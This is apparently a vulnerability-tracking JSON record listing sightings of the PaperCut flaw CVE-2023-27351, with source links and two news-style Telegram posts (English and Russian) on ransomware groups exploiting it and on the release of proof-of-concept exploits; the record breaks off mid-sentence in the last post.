{"vulnerability": "cve-2023-27351", "sightings": [{"uuid": "ca98dfd6-c605-436e-a5e6-a910882de28a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3maw6vy7xg72l", "content": "", "creation_timestamp": "2025-12-26T21:03:01.025644Z"}, {"uuid": "42e578f3-cad1-447f-890b-b490bfed047c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "seen", "source": "MISP/f3b16ca9-f749-4169-9a68-b159e6aaf5ed", "content": "", "creation_timestamp": "2026-04-08T07:25:51.000000Z"}, {"uuid": "08083706-7fa1-4dac-93ed-ea9b0c8cc28f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-27351", "type": "exploited", "source": "https://www.microsoft.com/en-us/security/blog/2026/04/06/storm-1175-focuses-gaze-on-vulnerable-web-facing-assets-in-high-tempo-medusa-ransomware-", "content": "", "creation_timestamp": "2026-04-07T04:00:00.000000Z"}, {"uuid": "1af3b2ed-5ee1-46b9-8f6e-fdac2bcd58e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-27351", "type": "exploited", "source": "https://www.microsoft.com/en-us/security/blog/2026/04/06/storm-1175-focuses-gaze-on-vulnerable-web-facing-assets-in-high-tempo-medusa-ransomware-operations/", "content": "", "creation_timestamp": "2026-04-06T04:00:00.000000Z"}, {"uuid": "5c9e4df6-b082-4cf5-aff0-500419de6a8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "seen", "source": "MISP/f3b16ca9-f749-4169-9a68-b159e6aaf5ed", "content": "", "creation_timestamp": "2026-04-18T13:07:25.000000Z"}, {"uuid": "29b9bde3-d5c5-43d0-b55c-1d3c1dbf4c31", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2023-27351", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/afc31ae0-5131-4a1e-b730-41f499c91536", "content": "", "creation_timestamp": "2026-04-20T20:00:03.307155Z"}, {"uuid": "8da98648-d657-4b79-9b5c-f6838dde883f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mjy3x67srm2n", "content": "", "creation_timestamp": "2026-04-21T04:02:04.040454Z"}, {"uuid": "73699c20-417c-486a-8d88-1870fe161f33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-27351", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/papercut-multiple-vulnerabilities_20260421", "content": "", "creation_timestamp": "2026-04-20T20:00:00.000000Z"}, {"uuid": "1812e59c-2b5f-4293-aaf6-400ade200eb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "seen", "source": "https://thehackernews.com/2026/04/cisa-adds-8-exploited-flaws-to-kev-sets.html", "content": "", "creation_timestamp": "2026-04-21T04:23:00.000000Z"}, {"uuid": "427fbb8d-7ebf-4cfb-926b-deab46e7bf19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mk4aa5snoz24", "content": "", "creation_timestamp": "2026-04-22T19:29:18.681006Z"}, {"uuid": "3167fb22-c2b6-4b9b-8f6e-2918c6a760fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mkevanrdo22s", "content": "", "creation_timestamp": "2026-04-26T06:06:44.123380Z"}, {"uuid": "e8db51c5-a338-43b6-97ac-c37311c93a28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mkewbzu3fc2s", "content": "", "creation_timestamp": "2026-04-26T06:25:28.359953Z"}, {"uuid": "20f44ebd-0e22-4183-847e-2c477b0419cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mkgzljmjvd2z", "content": "", "creation_timestamp": "2026-04-27T02:29:41.259590Z"}, {"uuid": "f4a6b3a4-f2b7-4ac7-b1bb-c87ba05cad79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "exploited", "source": "Telegram/xcfl_smbGTHA9FYvVxC3Y7zFe7S7f3NotXlwQADKNJ8ujw", "content": "", "creation_timestamp": "2026-04-21T11:08:46.000000Z"}, {"uuid": "adb1823b-ee56-49af-aa14-84f21d28549b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "seen", "source": "https://t.me/GhostPrincess/11460", "content": "BlackCat (ALPHV) #Ransomware team added another huge corporate from the USA \n\nAs proof of the hack, BlackCat brought up correspondence from company executives about the attack itself, in which they talked about how the attackers managed to enter their network \n\n#BlackCat\n\nAfter GoAnywhere and Raspberry Robin attacks, now it's PaperCut turn \n\n#Ransomware attackers using new vulnerabilities in  PaperCut, CVE-2023-27350, and CVE-2023-27351.\n\nIn a quick search in Shodan, there are over 2200 potentially vulnerable servers \n\n#CLOP \n\nLockbit #ransomware team Increased the attack rate towards the end of the month and added The Moroccan \ud83c\uddf2\ud83c\udde6 Government Institute for Standardization to the victim list  \ud83d\udea8\n\n#Lockbit", "creation_timestamp": "2023-05-01T14:17:10.000000Z"}, {"uuid": "4769a4d7-3351-4138-bc7d-b8ac3904e6a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "exploited", "source": "https://t.me/true_secator/4334", "content": "\u041a\u0430\u043a \u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u043b\u043e\u0441\u044c, \u0437\u0430 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (CVE-2023-27350 \u0438 CVE-2023-27351) \u043d\u0430 PaperCut MF/NG, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u0442\u043e\u044f\u0442 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 Clop \u0438 LockBit.\n\n\u0421\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0443\u0445\u0443\u0434\u0448\u0430\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e \u0432\u043e\u043f\u0440\u0435\u043a\u0438 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044f\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b Trend Micro \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043a 10 \u043c\u0430\u044f, Horizon3 \u043d\u0430 \u043f\u0430\u0440\u0443 \u0441 Huntress \u0432\u044b\u043b\u043e\u0436\u0438\u043b\u0438 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u043d\u043e \u0438 PoC \u0434\u043b\u044f \u043d\u0438\u0445.\n\n\u041e\u0448\u0438\u0431\u043a\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c RCE \u043d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 PaperCut \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e PaperCut, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e \u0441\u043e 100% \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e.\n\n\u0410 \u0435\u0441\u043b\u0438 \u0432\u0435\u0440\u0438\u0442\u044c \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0443 \u041f\u041e \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0435\u0447\u0430\u0442\u044c\u044e PaperCut MF/NG, \u0442\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 100 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438\u0437 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 70 000 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\n\n\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0443 \u043e \u043f\u0440\u0438\u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 Clop \u0438 LockBit \u043e\u0437\u0432\u0443\u0447\u0438\u043b\u0438 \u0432 Microsoft Threat Intelligence, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0441\u0445\u043e\u0436\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0434\u043b\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438.\n\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0431\u0435 \u0431\u0430\u043d\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0434\u043b\u044f \u0443\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0431\u0430\u043d\u0434\u044b \u0438\u043c\u0435\u044e\u0442 \u0441\u0445\u043e\u0436\u0443\u044e \u0432\u0438\u043a\u0442\u0438\u043c\u043e\u043b\u043e\u0433\u0438\u044e \u0438 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b, \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u043d\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0432 \u0421\u0428\u0410 \u0438 \u0417\u0430\u043f\u0430\u0434\u043d\u043e\u0439 \u0415\u0432\u0440\u043e\u043f\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u044f\u043c\u044b\u0445 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432, \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0445 Clop \u0438\u043b\u0438 LockBit \u0441 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u043c\u0438 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u044b Papercut, \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0432 \u0441\u0442\u043e\u0442\u044b\u0441\u044f\u0447\u043d\u044b\u0439 \u0440\u0430\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 Papercut \u043e \u0441\u0440\u043e\u0447\u043d\u043e\u0439 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0438\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0431\u0443\u0434\u0443\u0442 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0432 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0433\u0443\u043b\u044f\u0435\u0442 PoC, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0443\u0436\u0435 \u0443\u043f\u0440\u0430\u0436\u043d\u044f\u044e\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u044b.\n\n\u0410 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c, \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u044e\u0449\u0438\u043c, \u0447\u0442\u043e \u0438\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0434\u0435\u043b\u0430\u0442\u044c \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0435 \u043a\u043e\u043f\u0438\u0438, \u0441\u0442\u0438\u0440\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u0438\u0437 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.", "creation_timestamp": "2023-04-28T12:35:36.000000Z"}, {"uuid": "dbfcaac4-a03b-47aa-aeca-5ced3e01c61c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "exploited", "source": "https://t.me/true_secator/4317", "content": "\u0412\u043e\u043f\u0440\u0435\u043a\u0438 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044f\u043c Trend Micro, \u043e\u0431\u0435\u0449\u0430\u0432\u0448\u0438\u043c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 PaperCut  \u043a 10 \u043c\u0430\u044f, Horizon3 \u043d\u0430 \u043f\u0430\u0440\u0443 \u0441 Huntress \u0432\u044b\u043b\u043e\u0436\u0438\u043b\u0438 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0434\u043b\u044f CVE-2023-27350 \u0438 CVE-2023-27351, \u043d\u043e \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0441\u0432\u043e\u0438 PoC \u0434\u043b\u044f \u043d\u0438\u0445.\n\n\u0415\u0441\u043b\u0438 \u0432\u0435\u0440\u0438\u0442\u044c \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0443 \u041f\u041e \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0435\u0447\u0430\u0442\u044c\u044e PaperCut MF/NG, \u0442\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 100 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438\u0437 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 70 000 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\n\n\u041a\u0430\u043a \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0438 \u0432 \u0447\u0435\u0442\u0432\u0435\u0440\u0433, \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c RCE \u043d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 PaperCut \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 Horizon3 RCE-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u044f \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 \u00ab\u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430\u00bb \u0434\u043b\u044f \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u043e\u0432 \u0438 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438 CVE-2023-27350.\n\nHuntress \u0436\u0435 \u0441\u043e\u0437\u0434\u0430\u043b\u0430 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043b\u0438\u0448\u044c \u0434\u043b\u044f \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0443\u0433\u0440\u043e\u0437\u044b, \u043d\u043e \u0435\u0449\u0435 \u043d\u0435 \u0432\u044b\u043b\u043e\u0436\u0438\u043b\u0430 \u0435\u0433\u043e \u0432 \u043f\u0430\u0431\u043b\u0438\u043a.\n\n\u0412 \u044d\u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b PaperCut \u0443\u0436\u0435 \u0441\u0442\u0430\u043b\u0438 \u043c\u0438\u0448\u0435\u043d\u044c\u044e \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0435\u043f\u0435\u0440\u044c \u0435\u0449\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043f\u0440\u0438\u0431\u0430\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Huntress, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 16 \u0430\u043f\u0440\u0435\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043b\u0438 \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 PowerShell \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043a\u0438 \u041f\u041e \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f Atera \u0438 Syncro.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u044d\u0442\u0438\u043c \u0430\u0442\u0430\u043a\u0430\u043c \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f 12 \u0430\u043f\u0440\u0435\u043b\u044f \u0434\u043e\u043c\u0435\u043d\u0430\u00a0windowservicecenter[.]com, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 TrueBot, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u0441 \u0433\u0440\u0443\u043f\u043f\u043e\u0439 Silence \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f\u00a0\u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 Clop ransomware.\n\n\u041d\u043e \u043d\u0430\u0434\u043e \u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c, \u0447\u0442\u043e \u0434\u043e\u0441\u0442\u0443\u043f, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 PaperCut, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u043b\u0430\u0446\u0434\u0430\u0440\u043c\u0430 \u0434\u043b\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u043f\u043e \u0441\u0435\u0442\u0438 \u0436\u0435\u0440\u0442\u0432\u044b \u0438, \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435, \u043a \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f, \u043d\u0430 \u0447\u0442\u043e \u043a\u043e\u0441\u0432\u0435\u043d\u043d\u043e 